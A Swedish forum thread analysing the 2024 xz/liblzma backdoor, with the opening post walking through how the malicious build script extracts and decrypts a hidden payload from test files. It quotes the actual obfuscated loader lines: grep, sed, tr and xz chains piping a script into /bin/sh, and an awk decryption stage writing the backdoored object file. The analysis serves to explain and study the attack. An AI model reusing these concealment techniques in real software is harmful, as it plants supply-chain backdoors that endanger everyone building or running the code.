Hoppa till innehåll
Anime.se

Bakdörr i open source


Sceleris
 Share

Rekommenderade inlägg

Senaste veckan har det uppdagats en planterad bakdörr i ett komprimeringsbibliotek "xz" som används av SSH, så att fjärranslutningar till Linux är osäkra. Den upptäcktes i princip av en slump: det var en person som märkte att SSH-inloggning var en halv sekund långsammare än vanligt, blev misstänksam, och började kolla upp det.

Bakdörren planterades av någon som arbetat i några år på att verka pålitlig (genom många till synes nyttiga kodbidrag), och bakdörren är så pass invecklad att det med största sannolikhet rör sig om "statssponrad hacking". Skurken har ett kinesiskt namn, men det kinesiska namnet verkar vara en osannolik blandning av namn från olika delar av Kina, och "personen" har varit verksam under kinesiska nyåret men inte under östeuropeiska högtider, så Ryssland ser misstänksamt ut.

Detta har lyft fram riskerna med öppen mjukvara. Många ögon kanske kan hitta buggar, men väldolda bakdörrar av denna sort kan ju finnas var som helst. Det var bara tur att denna hittades så här fort: denna låg ute i drygt en månad.

Bakdörren i xz kom djupt dold i ett kodtest, och "packas upp" genom processen för att bygga källkoden på Linux. Konfigurationsfilen som körs sätter nämligen en variabel gl_am_configmake:

      gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
  if test -n "$gl_am_configmake"; then
    HAVE_PKG_CONFIGMAKE=1
  else
    HAVE_PKG_CONFIGMAKE=0
  fi

Det ser ut som att avsikten är att testa huruvida systemet har "configmake", men vad den verkligen gör är att läsa igenom hela källkodsförrådet efter alla filer, inklusive binära filer, som innehåller en textsträng på formen "####ABCDE####" där "ABCDE" representerar fem bokstäver/siffror. Det här är utmatningen från kommandot:

$ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./ 2>/dev/null
./tests/files/bad-3-corrupt_lzma2.xz

Om man öppnar tests/files/bad-3-corrupt_lzma2.xz som en textfil så ser man "####Hello####" och "####World####", vilket inte känns så ohederligt och konstigt eftersom filen ska vara en trasig komprimerad fil.

240403-213858_HxD_9jDO.png

Kommandot grep returnerar alltså sökvägen för filen, och därmed är det innehållet i variabeln gl_am_configmake. Men gl_am_configmake används på till synes helt normala sätt, Till exempel:

  gl_localedir_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`

Vad som än finns i gl_am_configmake så fungerar det ju i övrigt, så man har ju ingen särskilt anledning att vara misstänksam. Vad som händer här är att "./tests/files/bad-3-corrupt_lzma2.xz" omformas till "xz", vilket ju är ett helt rimligt "localedir_prefix"!

$ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./ 2>/dev/null | sed "s/.*\.//g"
xz

Senare i byggprocessen så används dock variabeln så här:

  if test "x$gl_am_configmake" != "x"; then
    gl_localedir_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null'
  else
    gl_localedir_config=''
  fi

där gl_localedir_prefix som sagt är "xz" och gl_path_map definieras bland några andra variabler:

  gl_sed_double_backslashes='s/\\/\\\\/g'
  gl_sed_escape_doublequotes='s/"/\\"/g'
  gl_path_map='tr "\t \-_" " \t_\-"'
  gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"

Det är lätt att skumma här och anta att gl_path_map innehåller anvisningar för något slags sätt att fixa till en sökväg, oavsett eller ej om man ser att den innehåller ett anrop till kommandot "tr" som gör teckenersättning i text; här: byt ut alla tab mot mellanrum, mellanrum mot tab, minus mot understreck, understreck mot minus.

Raden är alltså:

    gl_localedir_config='sed \"r\n\" $gl_am_configmake | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null'

Kommandot "sed" (stream editor) är gjort för att behandla text. Kanske \"r\n\" ska se ut som att den ska konvertera Windows-radbrytningar (\r\n) till Unix-radbrytningar, men "r\n" tolkas istället som "behandla text och lägg sedan till innehållet i filen som heter backslash-n" (filen finns inte och sed klagar inte).

Så "sed" gör egentligen inget annat än att läsa in bad-3-corrupt_lzma2.xz; resultatet genomgår teckenersättning, och matas därefter till komprimeringskommandot "xz" och blir ett shellscript, som lagras i variabel gl_localedir_config.

  $ sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz  | tr "\t \-_" " \t_\-" | xz -d
    ####Hello####
    #▒U▒▒$▒
    [ ! $(uname) = "Linux" ] && exit 0
    [ ! $(uname) = "Linux" ] && exit 0
    [ ! $(uname) = "Linux" ] && exit 0
    [ ! $(uname) = "Linux" ] && exit 0
    [ ! $(uname) = "Linux" ] && exit 0
    eval `grep ^srcdir= config.status`
    if test -f ../../config.status;then
    eval `grep ^srcdir= ../../config.status`
    srcdir="../../$srcdir"
    fi
    export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
    ####World####
  xz: (stdin): Unexpected end of input

(Felrapporten "unexpected end of input" som jag får filtreras bort i skurkscriptet genom "2>/dev/null".)

Det intressanta kan delas upp för läslighet:

  export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
    && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
    && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
    && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
    && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
    && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
    && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
    && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
    && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
    && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048
    && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
    && head -c +939)"

  (xz -dc $srcdir/tests/files/good-large_compressed.lzma
   | eval $i
   | tail -c +31233
   | tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")
   | xz -F raw --lzma1 -dc | /bin/sh

Inte ens detta dolda shellscript ser ju egentligen hotfullt ut. Filen good-large_compressed.lzma är ju bara nonsensdata som går att komprimera väl... vill de att vi ska tro. Vad som händer är detta:

Variabeln "i" innehåller i princip en lista på kommandon att utföra på senare kommande indata. "head -c N" skriver ut de första N byten i sin indata. I princip så förbrukas lite (1024 eller 2048 byte, slutligen 939 byte) av indatan vid varje anrop av "head", så vad den gör är att ibland "spara" en del av sin indata (genom utskrift, som fungerar som utdata) och ibland "kasta" en del av sin indata (p.g.a. ">/dev/null"). Enkelt exempel som skriver ut "abc", kastar bort "def", skriver ut "ghi":

$ echo abcdefghi | (head -c 3 && (head -c 3 >/dev/null) && head -c 3)
abcghi

Så vi ser att filen good-large_compressed.lzma extraheras och blir indata till "head"-kommandona, för att kasta bort obfuskeringsdata. Därefter så används "tail" för att bara behålla all binärdata från byte nummer 31233, och därefter så utförs "teckenersättning" på binärdatan igen för att omforma nonsensdatan inuti good-large_compressed.lzma till en _giltig_ komprimerad fil vars innehåll är ett annat shellscript som matas till och direkt utförs av /bin/sh.

Detta shellscript är (mer eller mindre) detta: https://www.openwall.com/lists/oss-security/2024/03/29/4/1

Scriptet analyseras bl.a. här https://gynvael.coldwind.pl/?lang=en&id=782 men jag sammanfattar:

  xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Läsligare:

xz -dc good-large_compressed.lzma
  | eval $i
  | LC_ALL=C sed "s/\(.\)/\1\n/g"
  | LC_ALL=C awk 'BEGIN{decryption_code_here}'
  | xz -dc --single-stream
  | ((head -c +$N > /dev/null 2>&1) && head -c +$W)
  > liblzma_la-crc64-fast.o

Denna rad från scriptet extraherar samma fil som tidigare good-large_compressed.lzma och kastar bort samma data som tidigare, men genom "sed" så sätts varje byte på egen textrad och matas till kommandot "awk" som är en programmerbar rad-för-rad-textbehandlare; texten från och med "BEGIN" till och med "(v+k)%m}" är awk-programmet som är en dekrypterare, d.v.s. awk tar in krypterad data och matar ut dekrypterad data... som är komprimerad data som matas in till "xz" för att extraheras, varpå onödig data kastas bort med "head" igen. Resultatet skrivs ut till liblzma_la-crc64-fast.o, vilket är en objektfil (en programkodsfil) med en bakdörr.

🤯

Alltså: byggscriptet använder shellscript-lustigheter för att få sökvägen till en "oskyldig" testfil i form av en trasig "zip-fil"; testfilen genomgår lite "oskyldig" behandling för att bli en fungerande "zip-fil" som innehåller ett shellscript som när det körs packar upp en "oskyldig" fungerande "zip-fil" och behandlar dess "nonsensinnehåll" för att att omvandla det till en fungerande "zip-fil" som i sig innehåller ett shellscript som när det körs packar upp den fungerande test-"zip-filen" och behandlar den på ett annat sätt för att få ut krypterad data som dekrypteras och behandlas för att bli en lömsk objektfil som inkluderas i byggningen.

Typ:

 good-large_compressed.lzma = compress(obfuscate(obfuscate(encrypt(compress(obfuscate( backdoor.o ))))))
 
 bad-3-corrupt_lzma2.xz = obfuscate(compress( script_to_get_backdoor.sh ))
  • Tack 1
Länk till kommentar
Dela på andra sajter

Citat

... som används av SSH ...

Mja, 

Here’s what we know so far: some time ago, an unknown party evidently noticed that liblzma (aka xz) — a relatively obscure open-source compression library — was a dependency of OpenSSH, a security-critical remote administration tool used to manage millions of servers around the world. This dependency existed not because of a deliberate design decision by the developers of OpenSSH, but because of a kludge added by some Linux distributions to integrate the tool with the operating system’s newfangled orchestration service, systemd.

  • Tack 1
Länk till kommentar
Dela på andra sajter

Jag försökte bara ge en grov överblick och var inte så noga med många av detaljerna, men det är sant och nog värt att påpeka att det bara gäller några specifika släpp av en andel av Linux-distributioner (det finns en tabell här). Men så vitt jag förstår det så verkar avsikten ha varit att få in en bakdörr specifikt i SSH (i vissa Linux-system). Det finns proof-of-concept/demo.

Det som fascinerade mig mest var byggmekanismen, men det finns ju fler intressanta punkter. T.ex. luskandet i vem skurken är och hur de drivit en flerårsoperation med multipla stödkonton för "social engineering", eller de inbyggda skydden mot debugging och villkoren som inte aktiverar bakdörren. Hur bakdörren fungerar i sig är säkert också intressant, men det är för avancerat för mig.

Det påminner mig om Stuxnet, fast inte fullt lika avancerat.

Länk till kommentar
Dela på andra sajter

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Gäst
Svara på detta ämne…

×   Inklistrat som formaterad text.   Klistra istället in som oformaterad text

  Endast maximalt 75 uttryckssymboler tillåts.

×   Din länk har automatiskt inbäddats.   Visa som en länk istället

×   Ditt tidigare innehåll har återställts.   Rensa editor

×   Du kan inte klistra in bilder direkt. Ladda upp eller sätt in bilder med URL.

 Share

×
×
  • Skapa nytt...